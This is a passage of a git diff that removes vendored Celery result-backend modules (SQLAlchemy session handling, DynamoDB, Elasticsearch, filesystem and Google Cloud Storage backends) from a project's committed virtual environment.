task_dict.update({ - 'name': self.name, - 'args': self.args, - 'kwargs': self.kwargs, - 'worker': self.worker, - 'retries': self.retries, - 'queue': self.queue, - }) - return task_dict - - -class TaskSet(ResultModelBase): - """TaskSet result.""" - - __tablename__ = 'celery_tasksetmeta' - __table_args__ = {'sqlite_autoincrement': True} - - id = sa.Column(DialectSpecificInteger, sa.Sequence('taskset_id_sequence'), - autoincrement=True, primary_key=True) - taskset_id = sa.Column(sa.String(155), unique=True) - result = sa.Column(PickleType, nullable=True) - date_done = sa.Column(sa.DateTime, default=_get_utc_now, - nullable=True, index=True) - - def __init__(self, taskset_id, result): - self.taskset_id = taskset_id - self.result = result - - def to_dict(self): - return { - 'taskset_id': self.taskset_id, - 'result': self.result, - 'date_done': self.date_done, - } - - def __repr__(self): - return f'' - - @classmethod - def configure(cls, schema=None, name=None): - cls.__table__.schema = schema - cls.id.default.schema = schema - cls.__table__.name = name or cls.__tablename__ diff --git a/venv/Lib/site-packages/celery/backends/database/session.py b/venv/Lib/site-packages/celery/backends/database/session.py deleted file mode 100644 index d4b6496a7ed54fa3f8be12a9a022a67dbe1f85d3..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/celery/backends/database/session.py +++ /dev/null @@ -1,99 +0,0 @@ -"""SQLAlchemy session.""" -import time - -from kombu.utils.compat import register_after_fork -from sqlalchemy import create_engine -from sqlalchemy.exc import DatabaseError -from sqlalchemy.orm import sessionmaker -from sqlalchemy.pool import NullPool - -from celery.utils.time import get_exponential_backoff_interval - -try: - from sqlalchemy.orm import declarative_base -except ImportError: - # TODO: Remove this once we drop support for SQLAlchemy < 1.4. - from sqlalchemy.ext.declarative import declarative_base - -ResultModelBase = declarative_base() - -__all__ = ('SessionManager',) - -PREPARE_MODELS_MAX_RETRIES = 10 - - -def _after_fork_cleanup_session(session): - session._after_fork() - - -class SessionManager: - """Manage SQLAlchemy sessions.""" - - def __init__(self): - self._engines = {} - self._sessions = {} - self.forked = False - self.prepared = False - if register_after_fork is not None: - register_after_fork(self, _after_fork_cleanup_session) - - def _after_fork(self): - self.forked = True - - def get_engine(self, dburi, **kwargs): - if self.forked: - try: - return self._engines[dburi] - except KeyError: - engine = self._engines[dburi] = create_engine(dburi, **kwargs) - return engine - else: - unsupported_nullpool_kwargs = {'max_overflow', 'echo_pool'} - kwargs = { - k: v for k, v in kwargs.items() - if not k.startswith('pool') and k not in unsupported_nullpool_kwargs - } - return create_engine(dburi, poolclass=NullPool, **kwargs) - - def create_session(self, dburi, short_lived_sessions=False, **kwargs): - engine = self.get_engine(dburi, **kwargs) - if self.forked: - if short_lived_sessions or dburi not in self._sessions: - self._sessions[dburi] = sessionmaker(bind=engine) - return engine, self._sessions[dburi] - return engine, sessionmaker(bind=engine) - - def invalidate(self, dburi): - """Dispose cached engine/session state for a database URI.""" - self._sessions.pop(dburi, None) - engine = self._engines.pop(dburi, None) - if engine is not None: - engine.dispose() - - def prepare_models(self, engine): - if not self.prepared: - # SQLAlchemy will check if the items exist before trying to - # create them, which is a race condition. If it raises an error - # in one iteration, the next may pass all the existence checks - # and the call will succeed. - retries = 0 - while True: - try: - ResultModelBase.metadata.create_all(engine) - except DatabaseError: - if retries < PREPARE_MODELS_MAX_RETRIES: - sleep_amount_ms = get_exponential_backoff_interval( - 10, retries, 1000, True - ) - time.sleep(sleep_amount_ms / 1000) - retries += 1 - else: - raise - else: - break - self.prepared = True - - def session_factory(self, dburi, **kwargs): - engine, session = self.create_session(dburi, **kwargs) - self.prepare_models(engine) - return session() diff --git a/venv/Lib/site-packages/celery/backends/dynamodb.py b/venv/Lib/site-packages/celery/backends/dynamodb.py deleted file mode 100644 index 0423a468014532fb9c34f17bba1202a6955a8328..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/celery/backends/dynamodb.py +++ /dev/null @@ -1,556 +0,0 @@ -"""AWS DynamoDB result store backend.""" -from collections import namedtuple -from ipaddress import ip_address -from time import sleep, time -from typing import Any, Dict - -from kombu.utils.url import _parse_url as parse_url - -from celery.exceptions import ImproperlyConfigured -from celery.utils.log import get_logger - -from .base import KeyValueStoreBackend - -try: - import boto3 - from botocore.exceptions import ClientError -except ImportError: - boto3 = ClientError = None - -__all__ = ('DynamoDBBackend',) - - -# Helper class that describes a DynamoDB attribute -DynamoDBAttribute = namedtuple('DynamoDBAttribute', ('name', 'data_type')) - -logger = get_logger(__name__) - - -class DynamoDBBackend(KeyValueStoreBackend): - """AWS DynamoDB result backend. - - Raises: - celery.exceptions.ImproperlyConfigured: - if module :pypi:`boto3` is not available. - """ - - #: default DynamoDB table name (`default`) - table_name = 'celery' - - #: Read Provisioned Throughput (`default`) - read_capacity_units = 1 - - #: Write Provisioned Throughput (`default`) - write_capacity_units = 1 - - #: AWS region (`default`) - aws_region = None - - #: The endpoint URL that is passed to boto3 (local DynamoDB) (`default`) - endpoint_url = None - - #: Item time-to-live in seconds (`default`) - time_to_live_seconds = None - - # DynamoDB supports Time to Live as an auto-expiry mechanism. - supports_autoexpire = True - - _key_field = DynamoDBAttribute(name='id', data_type='S') - # Each record has either a value field or count field - _value_field = DynamoDBAttribute(name='result', data_type='B') - _count_filed = DynamoDBAttribute(name="chord_count", data_type='N') - _timestamp_field = DynamoDBAttribute(name='timestamp', data_type='N') - _ttl_field = DynamoDBAttribute(name='ttl', data_type='N') - _available_fields = None - - implements_incr = True - - def __init__(self, url=None, table_name=None, *args, **kwargs): - super().__init__(*args, **kwargs) - - self.url = url - self.table_name = table_name or self.table_name - - if not boto3: - raise ImproperlyConfigured( - 'You need to install the boto3 library to use the ' - 'DynamoDB backend.') - - aws_credentials_given = False - aws_access_key_id = None - aws_secret_access_key = None - - if url is not None: - scheme, region, port, username, password, table, query = \ - parse_url(url) - - aws_access_key_id = username - aws_secret_access_key = password - - access_key_given = aws_access_key_id is not None - secret_key_given = aws_secret_access_key is not None - - if access_key_given != secret_key_given: - raise ImproperlyConfigured( - 'You need to specify both the Access Key ID ' - 'and Secret.') - - aws_credentials_given = access_key_given - - if region == 'localhost' or DynamoDBBackend._is_valid_ip(region): - # We are using the downloadable, local version of DynamoDB - self.endpoint_url = f'http://{region}:{port}' - self.aws_region = 'us-east-1' - logger.warning( - 'Using local-only DynamoDB endpoint URL: {}'.format( - self.endpoint_url - ) - ) - else: - self.aws_region = region - - # If endpoint_url is explicitly set use it instead - _get = self.app.conf.get - config_endpoint_url = _get('dynamodb_endpoint_url') - if config_endpoint_url: - self.endpoint_url = config_endpoint_url - - self.read_capacity_units = int( - query.get( - 'read', - self.read_capacity_units - ) - ) - self.write_capacity_units = int( - query.get( - 'write', - self.write_capacity_units - ) - ) - - ttl = query.get('ttl_seconds', self.time_to_live_seconds) - if ttl: - try: - self.time_to_live_seconds = int(ttl) - except ValueError as e: - logger.error( - f'TTL must be a number; got "{ttl}"', - exc_info=e - ) - raise e - - self.table_name = table or self.table_name - - self._available_fields = ( - self._key_field, - self._value_field, - self._timestamp_field - ) - - self._client = None - if aws_credentials_given: - self._get_client( - access_key_id=aws_access_key_id, - secret_access_key=aws_secret_access_key - ) - - @staticmethod - def _is_valid_ip(ip): - try: - ip_address(ip) - return True - except ValueError: - return False - - def _get_client(self, access_key_id=None, secret_access_key=None): - """Get client connection.""" - if self._client is None: - client_parameters = { - 'region_name': self.aws_region - } - if access_key_id is not None: - client_parameters.update({ - 'aws_access_key_id': access_key_id, - 'aws_secret_access_key': secret_access_key - }) - - if self.endpoint_url is not None: - client_parameters['endpoint_url'] = self.endpoint_url - - self._client = boto3.client( - 'dynamodb', - **client_parameters - ) - self._get_or_create_table() - - if self._has_ttl() is not None: - self._validate_ttl_methods() - self._set_table_ttl() - - return self._client - - def _get_table_schema(self): - """Get the boto3 structure describing the DynamoDB table schema.""" - return { - 'AttributeDefinitions': [ - { - 'AttributeName': self._key_field.name, - 'AttributeType': self._key_field.data_type - } - ], - 'TableName': self.table_name, - 'KeySchema': [ - { - 'AttributeName': self._key_field.name, - 'KeyType': 'HASH' - } - ], - 'ProvisionedThroughput': { - 'ReadCapacityUnits': self.read_capacity_units, - 'WriteCapacityUnits': self.write_capacity_units - } - } - - def _get_or_create_table(self): - """Create table if not exists, otherwise return the description.""" - table_schema = self._get_table_schema() - try: - return self._client.describe_table(TableName=self.table_name) - except ClientError as e: - error_code = e.response['Error'].get('Code', 'Unknown') - - if error_code == 'ResourceNotFoundException': - table_description = self._client.create_table(**table_schema) - logger.info( - 'DynamoDB Table {} did not exist, creating.'.format( - self.table_name - ) - ) - # In case we created the table, wait until it becomes available. - self._wait_for_table_status('ACTIVE') - logger.info( - 'DynamoDB Table {} is now available.'.format( - self.table_name - ) - ) - return table_description - else: - raise e - - def _has_ttl(self): - """Return the desired Time to Live config. - - - True: Enable TTL on the table; use expiry. - - False: Disable TTL on the table; don't use expiry. - - None: Ignore TTL on the table; don't use expiry. - """ - return None if self.time_to_live_seconds is None \ - else self.time_to_live_seconds >= 0 - - def _validate_ttl_methods(self): - """Verify boto support for the DynamoDB Time to Live methods.""" - # Required TTL methods. - required_methods = ( - 'update_time_to_live', - 'describe_time_to_live', - ) - - # Find missing methods. - missing_methods = [] - for method in list(required_methods): - if not hasattr(self._client, method): - missing_methods.append(method) - - if missing_methods: - logger.error( - ( - 'boto3 method(s) {methods} not found; ensure that ' - 'boto3>=1.9.178 and botocore>=1.12.178 are installed' - ).format( - methods=','.join(missing_methods) - ) - ) - raise AttributeError( - 'boto3 method(s) {methods} not found'.format( - methods=','.join(missing_methods) - ) - ) - - def _get_ttl_specification(self, ttl_attr_name): - """Get the boto3 structure describing the DynamoDB TTL specification.""" - return { - 'TableName': self.table_name, - 'TimeToLiveSpecification': { - 'Enabled': self._has_ttl(), - 'AttributeName': ttl_attr_name - } - } - - def _get_table_ttl_description(self): - # Get the current TTL description. - try: - description = self._client.describe_time_to_live( - TableName=self.table_name - ) - except ClientError as e: - error_code = e.response['Error'].get('Code', 'Unknown') - error_message = e.response['Error'].get('Message', 'Unknown') - logger.error(( - 'Error describing Time to Live on DynamoDB table {table}: ' - '{code}: {message}' - ).format( - table=self.table_name, - code=error_code, - message=error_message, - )) - raise e - - return description - - def _set_table_ttl(self): - """Enable or disable Time to Live on the table.""" - # Get the table TTL description, and return early when possible. - description = self._get_table_ttl_description() - status = description['TimeToLiveDescription']['TimeToLiveStatus'] - if status in ('ENABLED', 'ENABLING'): - cur_attr_name = \ - description['TimeToLiveDescription']['AttributeName'] - if self._has_ttl(): - if cur_attr_name == self._ttl_field.name: - # We want TTL enabled, and it is currently enabled or being - # enabled, and on the correct attribute. - logger.debug(( - 'DynamoDB Time to Live is {situation} ' - 'on table {table}' - ).format( - situation='already enabled' - if status == 'ENABLED' - else 'currently being enabled', - table=self.table_name - )) - return description - - elif status in ('DISABLED', 'DISABLING'): - if not self._has_ttl(): - # We want TTL disabled, and it is currently disabled or being - # disabled. - logger.debug(( - 'DynamoDB Time to Live is {situation} ' - 'on table {table}' - ).format( - situation='already disabled' - if status == 'DISABLED' - else 'currently being disabled', - table=self.table_name - )) - return description - - # The state shouldn't ever have any value beyond the four handled - # above, but to ease troubleshooting of potential future changes, emit - # a log showing the unknown state. - else: # pragma: no cover - logger.warning(( - 'Unknown DynamoDB Time to Live status {status} ' - 'on table {table}. Attempting to continue.' - ).format( - status=status, - table=self.table_name - )) - - # At this point, we have one of the following situations: - # - # We want TTL enabled, - # - # - and it's currently disabled: Try to enable. - # - # - and it's being disabled: Try to enable, but this is almost sure to - # raise ValidationException with message: - # - # Time to live has been modified multiple times within a fixed - # interval - # - # - and it's currently enabling or being enabled, but on the wrong - # attribute: Try to enable, but this will raise ValidationException - # with message: - # - # TimeToLive is active on a different AttributeName: current - # AttributeName is ttlx - # - # We want TTL disabled, - # - # - and it's currently enabled: Try to disable. - # - # - and it's being enabled: Try to disable, but this is almost sure to - # raise ValidationException with message: - # - # Time to live has been modified multiple times within a fixed - # interval - # - attr_name = \ - cur_attr_name if status == 'ENABLED' else self._ttl_field.name - try: - specification = self._client.update_time_to_live( - **self._get_ttl_specification( - ttl_attr_name=attr_name - ) - ) - logger.info( - ( - 'DynamoDB table Time to Live updated: ' - 'table={table} enabled={enabled} attribute={attr}' - ).format( - table=self.table_name, - enabled=self._has_ttl(), - attr=self._ttl_field.name - ) - ) - return specification - except ClientError as e: - error_code = e.response['Error'].get('Code', 'Unknown') - error_message = e.response['Error'].get('Message', 'Unknown') - logger.error(( - 'Error {action} Time to Live on DynamoDB table {table}: ' - '{code}: {message}' - ).format( - action='enabling' if self._has_ttl() else 'disabling', - table=self.table_name, - code=error_code, - message=error_message, - )) - raise e - - def _wait_for_table_status(self, expected='ACTIVE'): - """Poll for the expected table status.""" - achieved_state = False - while not achieved_state: - table_description = self.client.describe_table( - TableName=self.table_name - ) - logger.debug( - 'Waiting for DynamoDB table {} to become {}.'.format( - self.table_name, - expected - ) - ) - current_status = table_description['Table']['TableStatus'] - achieved_state = current_status == expected - sleep(1) - - def _prepare_get_request(self, key): - """Construct the item retrieval request parameters.""" - return { - 'TableName': self.table_name, - 'Key': { - self._key_field.name: { - self._key_field.data_type: key - } - } - } - - def _prepare_put_request(self, key, value): - """Construct the item creation request parameters.""" - timestamp = time() - put_request = { - 'TableName': self.table_name, - 'Item': { - self._key_field.name: { - self._key_field.data_type: key - }, - self._value_field.name: { - self._value_field.data_type: value - }, - self._timestamp_field.name: { - self._timestamp_field.data_type: str(timestamp) - } - } - } - if self._has_ttl(): - put_request['Item'].update({ - self._ttl_field.name: { - self._ttl_field.data_type: - str(int(timestamp + self.time_to_live_seconds)) - } - }) - return put_request - - def _prepare_init_count_request(self, key: str) -> Dict[str, Any]: - """Construct the counter initialization request parameters""" - timestamp = time() - return { - 'TableName': self.table_name, - 'Item': { - self._key_field.name: { - self._key_field.data_type: key - }, - self._count_filed.name: { - self._count_filed.data_type: "0" - }, - self._timestamp_field.name: { - self._timestamp_field.data_type: str(timestamp) - } - } - } - - def _prepare_inc_count_request(self, key: str) -> Dict[str, Any]: - """Construct the counter increment request parameters""" - return { - 'TableName': self.table_name, - 'Key': { - self._key_field.name: { - self._key_field.data_type: key - } - }, - 'UpdateExpression': f"set {self._count_filed.name} = {self._count_filed.name} + :num", - "ExpressionAttributeValues": { - ":num": {"N": "1"}, - }, - "ReturnValues": "UPDATED_NEW", - } - - def _item_to_dict(self, raw_response): - """Convert get_item() response to field-value pairs.""" - if 'Item' not in raw_response: - return {} - return { - field.name: raw_response['Item'][field.name][field.data_type] - for field in self._available_fields - } - - @property - def client(self): - return self._get_client() - - def get(self, key): - key = str(key) - request_parameters = self._prepare_get_request(key) - item_response = self.client.get_item(**request_parameters) - item = self._item_to_dict(item_response) - return item.get(self._value_field.name) - - def set(self, key, value): - key = str(key) - request_parameters = self._prepare_put_request(key, value) - self.client.put_item(**request_parameters) - - def mget(self, keys): - return [self.get(key) for key in keys] - - def delete(self, key): - key = str(key) - request_parameters = self._prepare_get_request(key) - self.client.delete_item(**request_parameters) - - def incr(self, key: bytes) -> int: - """Atomically increase the chord_count and return the new count""" - key = str(key) - request_parameters = self._prepare_inc_count_request(key) - item_response = self.client.update_item(**request_parameters) - new_count: str = item_response["Attributes"][self._count_filed.name][self._count_filed.data_type] - return int(new_count) - - def _apply_chord_incr(self, header_result_args, body, **kwargs): - chord_key = self.get_key_for_chord(header_result_args[0]) - init_count_request = self._prepare_init_count_request(str(chord_key)) - self.client.put_item(**init_count_request) - return super()._apply_chord_incr( - header_result_args, body, **kwargs) diff --git a/venv/Lib/site-packages/celery/backends/elasticsearch.py b/venv/Lib/site-packages/celery/backends/elasticsearch.py deleted file mode 100644 index 9e6f265563990d3fbe891b85698151e92713e1c9..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/celery/backends/elasticsearch.py +++ /dev/null @@ -1,283 +0,0 @@ -"""Elasticsearch result store backend.""" -from datetime import datetime, timezone - -from kombu.utils.encoding import bytes_to_str -from kombu.utils.url import _parse_url - -from celery import states -from celery.exceptions import ImproperlyConfigured - -from .base import KeyValueStoreBackend - -try: - import elasticsearch -except ImportError: - elasticsearch = None - -try: - import elastic_transport -except ImportError: - elastic_transport = None - -__all__ = ('ElasticsearchBackend',) - -E_LIB_MISSING = """\ -You need to install the elasticsearch library to use the Elasticsearch \ -result backend.\ -""" - - -class ElasticsearchBackend(KeyValueStoreBackend): - """Elasticsearch Backend. - - Raises: - celery.exceptions.ImproperlyConfigured: - if module :pypi:`elasticsearch` is not available. - """ - - index = 'celery' - doc_type = None - scheme = 'http' - host = 'localhost' - port = 9200 - username = None - password = None - es_retry_on_timeout = False - es_timeout = 10 - es_max_retries = 3 - - def __init__(self, url=None, *args, **kwargs): - super().__init__(*args, **kwargs) - self.url = url - _get = self.app.conf.get - - if elasticsearch is None: - raise ImproperlyConfigured(E_LIB_MISSING) - - index = doc_type = scheme = host = port = username = password = None - - if url: - scheme, host, port, username, password, path, _ = _parse_url(url) - if scheme == 'elasticsearch': - scheme = None - if path: - path = path.strip('/') - index, _, doc_type = path.partition('/') - - self.index = index or self.index - self.doc_type = doc_type or self.doc_type - self.scheme = scheme or self.scheme - self.host = host or self.host - self.port = port or self.port - self.username = username or self.username - self.password = password or self.password - - self.es_retry_on_timeout = ( - _get('elasticsearch_retry_on_timeout') or self.es_retry_on_timeout - ) - - es_timeout = _get('elasticsearch_timeout') - if es_timeout is not None: - self.es_timeout = es_timeout - - es_max_retries = _get('elasticsearch_max_retries') - if es_max_retries is not None: - self.es_max_retries = es_max_retries - - self.es_save_meta_as_text = _get('elasticsearch_save_meta_as_text', True) - self._server = None - - def exception_safe_to_retry(self, exc): - if isinstance(exc, elasticsearch.exceptions.ApiError): - # 401: Unauthorized - # 409: Conflict - # 500: Internal Server Error - # 502: Bad Gateway - # 504: Gateway Timeout - # N/A: Low level exception (i.e. socket exception) - if exc.status_code in {401, 409, 500, 502, 504, 'N/A'}: - return True - if isinstance(exc, elasticsearch.exceptions.TransportError): - return True - return False - - def get(self, key): - try: - res = self._get(key) - try: - if res['found']: - return res['_source']['result'] - except (TypeError, KeyError): - pass - except elasticsearch.exceptions.NotFoundError: - pass - - def _get(self, key): - if self.doc_type: - return self.server.get( - index=self.index, - id=key, - doc_type=self.doc_type, - ) - else: - return self.server.get( - index=self.index, - id=key, - ) - - def _set_with_state(self, key, value, state): - body = { - 'result': value, - '@timestamp': '{}Z'.format( - datetime.now(timezone.utc).isoformat()[:-9] - ), - } - try: - self._index( - id=key, - body=body, - ) - except elasticsearch.exceptions.ConflictError: - # document already exists, update it - self._update(key, body, state) - - def set(self, key, value): - return self._set_with_state(key, value, None) - - def _index(self, id, body, **kwargs): - body = {bytes_to_str(k): v for k, v in body.items()} - if self.doc_type: - return self.server.index( - id=bytes_to_str(id), - index=self.index, - doc_type=self.doc_type, - body=body, - params={'op_type': 'create'}, - **kwargs - ) - else: - return self.server.index( - id=bytes_to_str(id), - index=self.index, - body=body, - params={'op_type': 'create'}, - **kwargs - ) - - def _update(self, id, body, state, **kwargs): - """Update state in a conflict free manner. - - If state is defined (not None), this will not update ES server if either: - * existing state is success - * existing state is a ready state and current state in not a ready state - - This way, a Retry state cannot override a Success or Failure, and chord_unlock - will not retry indefinitely. - """ - body = {bytes_to_str(k): v for k, v in body.items()} - - try: - res_get = self._get(key=id) - if not res_get.get('found'): - return self._index(id, body, **kwargs) - # document disappeared between index and get calls. - except elasticsearch.exceptions.NotFoundError: - return self._index(id, body, **kwargs) - - try: - meta_present_on_backend = self.decode_result(res_get['_source']['result']) - except (TypeError, KeyError): - pass - else: - if meta_present_on_backend['status'] == states.SUCCESS: - # if stored state is already in success, do nothing - return {'result': 'noop'} - elif meta_present_on_backend['status'] in states.READY_STATES and state in states.UNREADY_STATES: - # if stored state is in ready state and current not, do nothing - return {'result': 'noop'} - - # get current sequence number and primary term - # https://www.elastic.co/guide/en/elasticsearch/reference/current/optimistic-concurrency-control.html - seq_no = res_get.get('_seq_no', 1) - prim_term = res_get.get('_primary_term', 1) - - # try to update document with current seq_no and primary_term - if self.doc_type: - res = self.server.update( - id=bytes_to_str(id), - index=self.index, - doc_type=self.doc_type, - body={'doc': body}, - params={'if_primary_term': prim_term, 'if_seq_no': seq_no}, - **kwargs - ) - else: - res = self.server.update( - id=bytes_to_str(id), - index=self.index, - body={'doc': body}, - params={'if_primary_term': prim_term, 'if_seq_no': seq_no}, - **kwargs - ) - # result is elastic search update query result - # noop = query did not update any document - # updated = at least one document got updated - if res['result'] == 'noop': - raise elasticsearch.exceptions.ConflictError( - "conflicting update occurred concurrently", - elastic_transport.ApiResponseMeta(409, "HTTP/1.1", - elastic_transport.HttpHeaders(), 0, elastic_transport.NodeConfig( - self.scheme, self.host, self.port)), None) - return res - - def encode(self, data): - if self.es_save_meta_as_text: - return super().encode(data) - else: - if not isinstance(data, dict): - return super().encode(data) - if data.get("result"): - data["result"] = self._encode(data["result"])[2] - if data.get("traceback"): - data["traceback"] = self._encode(data["traceback"])[2] - return data - - def decode(self, payload): - if self.es_save_meta_as_text: - return super().decode(payload) - else: - if not isinstance(payload, dict): - return super().decode(payload) - if payload.get("result"): - payload["result"] = super().decode(payload["result"]) - if payload.get("traceback"): - payload["traceback"] = super().decode(payload["traceback"]) - return payload - - def mget(self, keys): - return [self.get(key) for key in keys] - - def delete(self, key): - if self.doc_type: - self.server.delete(index=self.index, id=key, doc_type=self.doc_type) - else: - self.server.delete(index=self.index, id=key) - - def _get_server(self): - """Connect to the Elasticsearch server.""" - http_auth = None - if self.username and self.password: - http_auth = (self.username, self.password) - return elasticsearch.Elasticsearch( - f'{self.scheme}://{self.host}:{self.port}', - retry_on_timeout=self.es_retry_on_timeout, - max_retries=self.es_max_retries, - timeout=self.es_timeout, - http_auth=http_auth, - ) - - @property - def server(self): - if self._server is None: - self._server = self._get_server() - return self._server diff --git a/venv/Lib/site-packages/celery/backends/filesystem.py b/venv/Lib/site-packages/celery/backends/filesystem.py deleted file mode 100644 index 1a624f3be62dba56dfe2956a26745e09639f832c..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/celery/backends/filesystem.py +++ /dev/null @@ -1,112 +0,0 @@ -"""File-system result store backend.""" -import locale -import os -from datetime import datetime - -from kombu.utils.encoding import ensure_bytes - -from celery import uuid -from celery.backends.base import KeyValueStoreBackend -from celery.exceptions import ImproperlyConfigured - -default_encoding = locale.getpreferredencoding(False) - -E_NO_PATH_SET = 'You need to configure a path for the file-system backend' -E_PATH_NON_CONFORMING_SCHEME = ( - 'A path for the file-system backend should conform to the file URI scheme' -) -E_PATH_INVALID = """\ -The configured path for the file-system backend does not -work correctly, please make sure that it exists and has -the correct permissions.\ -""" - - -class FilesystemBackend(KeyValueStoreBackend): - """File-system result backend. - - Arguments: - url (str): URL to the directory we should use - open (Callable): open function to use when opening files - unlink (Callable): unlink function to use when deleting files - sep (str): directory separator (to join the directory with the key) - encoding (str): encoding used on the file-system - """ - - def __init__(self, url=None, open=open, unlink=os.unlink, sep=os.sep, - encoding=default_encoding, *args, **kwargs): - super().__init__(*args, **kwargs) - self.url = url - path = self._find_path(url) - - # Remove forwarding "/" for Windows os - if os.name == "nt" and path.startswith("/"): - path = path[1:] - - # We need the path and separator as bytes objects - self.path = path.encode(encoding) - self.sep = sep.encode(encoding) - - self.open = open - self.unlink = unlink - - # Let's verify that we've everything setup right - self._do_directory_test(b'.fs-backend-' + uuid().encode(encoding)) - - def __reduce__(self, args=(), kwargs=None): - kwargs = {} if not kwargs else kwargs - return super().__reduce__(args, {**kwargs, 'url': self.url}) - - def _find_path(self, url): - if not url: - raise ImproperlyConfigured(E_NO_PATH_SET) - if url.startswith('file://localhost/'): - return url[16:] - if url.startswith('file://'): - return url[7:] - raise ImproperlyConfigured(E_PATH_NON_CONFORMING_SCHEME) - - def _do_directory_test(self, key): - try: - self.set(key, b'test value') - assert self.get(key) == b'test value' - self.delete(key) - except OSError: - raise ImproperlyConfigured(E_PATH_INVALID) - - def _filename(self, key): - return self.sep.join((self.path, key)) - - def get(self, key): - try: - with self.open(self._filename(key), 'rb') as infile: - return infile.read() - except FileNotFoundError: - pass - - def set(self, key, value): - with self.open(self._filename(key), 'wb') as outfile: - outfile.write(ensure_bytes(value)) - - def mget(self, keys): - for key in keys: - yield self.get(key) - - def delete(self, key): - self.unlink(self._filename(key)) - - def cleanup(self): - """Delete expired meta-data.""" - if not self.expires: - return - epoch = datetime(1970, 1, 1, tzinfo=self.app.timezone) - now_ts = (self.app.now() - epoch).total_seconds() - cutoff_ts = now_ts - self.expires - for filename in os.listdir(self.path): - for prefix in (self.task_keyprefix, self.group_keyprefix, - self.chord_keyprefix): - if filename.startswith(prefix): - path = os.path.join(self.path, filename) - if os.stat(path).st_mtime < cutoff_ts: - self.unlink(path) - break diff --git a/venv/Lib/site-packages/celery/backends/gcs.py b/venv/Lib/site-packages/celery/backends/gcs.py deleted file mode 100644 index 8a0c66bc6fb7321e2a3a586f6f08dbfa6fb5adea..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/celery/backends/gcs.py +++ /dev/null @@ -1,354 +0,0 @@ -"""Google Cloud Storage result store backend for Celery.""" -from concurrent.futures import ThreadPoolExecutor -from datetime import datetime, timedelta -from os import getpid -from threading import RLock - -from kombu.utils.encoding import bytes_to_str -from kombu.utils.functional import dictfilter -from kombu.utils.url import url_to_parts - -from celery.backends.base import _create_chord_error_with_cause -from celery.canvas import maybe_signature -from celery.exceptions import ChordError, ImproperlyConfigured -from celery.result import GroupResult, allow_join_result -from celery.utils.log import get_logger - -from .base import KeyValueStoreBackend - -try: - import requests - from google.api_core import retry - from google.api_core.exceptions import Conflict - from google.api_core.retry import if_exception_type - from google.cloud import storage - from google.cloud.storage import Client - from google.cloud.storage.retry import DEFAULT_RETRY -except ImportError: - storage = None - -try: - from google.cloud import firestore, firestore_admin_v1 -except ImportError: - firestore = None - firestore_admin_v1 = None - - -__all__ = ('GCSBackend',) - - -logger = get_logger(__name__) - - -class GCSBackendBase(KeyValueStoreBackend): - """Google Cloud Storage task result backend.""" - - def __init__(self, **kwargs): - if not storage: - raise ImproperlyConfigured( - 'You must install google-cloud-storage to use gcs backend' - ) - super().__init__(**kwargs) - self._client_lock = RLock() - self._pid = getpid() - self._retry_policy = DEFAULT_RETRY - self._client = None - - conf = self.app.conf - if self.url: - url_params = self._params_from_url() - conf.update(**dictfilter(url_params)) - - self.bucket_name = conf.get('gcs_bucket') - if not self.bucket_name: - raise ImproperlyConfigured( - 'Missing bucket name: specify gcs_bucket to use gcs backend' - ) - self.project = conf.get('gcs_project') - if not self.project: - raise ImproperlyConfigured( - 'Missing project:specify gcs_project to use gcs backend' - ) - self.base_path = conf.get('gcs_base_path', '').strip('/') - self._threadpool_maxsize = int(conf.get('gcs_threadpool_maxsize', 10)) - self.ttl = float(conf.get('gcs_ttl') or 0) - if self.ttl < 0: - raise ImproperlyConfigured( - f'Invalid ttl: {self.ttl} must be greater than or equal to 0' - ) - elif self.ttl: - if not self._is_bucket_lifecycle_rule_exists(): - raise ImproperlyConfigured( - f'Missing lifecycle rule to use gcs backend with ttl on ' - f'bucket: {self.bucket_name}' - ) - - def get(self, key): - key = bytes_to_str(key) - blob = self._get_blob(key) - try: - return blob.download_as_bytes(retry=self._retry_policy) - except storage.blob.NotFound: - return None - - def set(self, key, value): - key = bytes_to_str(key) - blob = self._get_blob(key) - if self.ttl: - blob.custom_time = datetime.utcnow() + timedelta(seconds=self.ttl) - blob.upload_from_string(value, retry=self._retry_policy) - - def delete(self, key): - key = bytes_to_str(key) - blob = self._get_blob(key) - if blob.exists(): - blob.delete(retry=self._retry_policy) - - def mget(self, keys): - with ThreadPoolExecutor() as pool: - return list(pool.map(self.get, keys)) - - @property - def client(self): - """Returns a storage client.""" - - # make sure it's thread-safe, as creating a new client is expensive - with self._client_lock: - if self._client and self._pid == getpid(): - return self._client - # make sure each process gets its own connection after a fork - self._client = Client(project=self.project) - self._pid = getpid() - - # config the number of connections to the server - adapter = requests.adapters.HTTPAdapter( - pool_connections=self._threadpool_maxsize, - pool_maxsize=self._threadpool_maxsize, - max_retries=3, - ) - client_http = self._client._http - client_http.mount("https://", adapter) - client_http._auth_request.session.mount("https://", adapter) - - return self._client - - @property - def bucket(self): - return self.client.bucket(self.bucket_name) - - def _get_blob(self, key): - key_bucket_path = f'{self.base_path}/{key}' if self.base_path else key - return self.bucket.blob(key_bucket_path) - - def _is_bucket_lifecycle_rule_exists(self): - bucket = self.bucket - bucket.reload() - for rule in bucket.lifecycle_rules: - if rule['action']['type'] == 'Delete': - return True - return False - - def _params_from_url(self): - url_parts = url_to_parts(self.url) - - return { - 'gcs_bucket': url_parts.hostname, - 'gcs_base_path': url_parts.path, - **url_parts.query, - } - - -class GCSBackend(GCSBackendBase): - """Google Cloud Storage task result backend. - - Uses Firestore for chord ref count. - """ - - implements_incr = True - supports_native_join = True - - # Firestore parameters - _collection_name = 'celery' - _field_count = 'chord_count' - _field_expires = 'expires_at' - - def __init__(self, **kwargs): - if not (firestore and firestore_admin_v1): - raise ImproperlyConfigured( - 'You must install google-cloud-firestore to use gcs backend' - ) - super().__init__(**kwargs) - - self._firestore_lock = RLock() - self._firestore_client = None - - self.firestore_project = self.app.conf.get( - 'firestore_project', self.project - ) - if not self._is_firestore_ttl_policy_enabled(): - raise ImproperlyConfigured( - f'Missing TTL policy to use gcs backend with ttl on ' - f'Firestore collection: {self._collection_name} ' - f'project: {self.firestore_project}' - ) - - @property - def firestore_client(self): - """Returns a firestore client.""" - - # make sure it's thread-safe, as creating a new client is expensive - with self._firestore_lock: - if self._firestore_client and self._pid == getpid(): - return self._firestore_client - # make sure each process gets its own connection after a fork - self._firestore_client = firestore.Client( - project=self.firestore_project 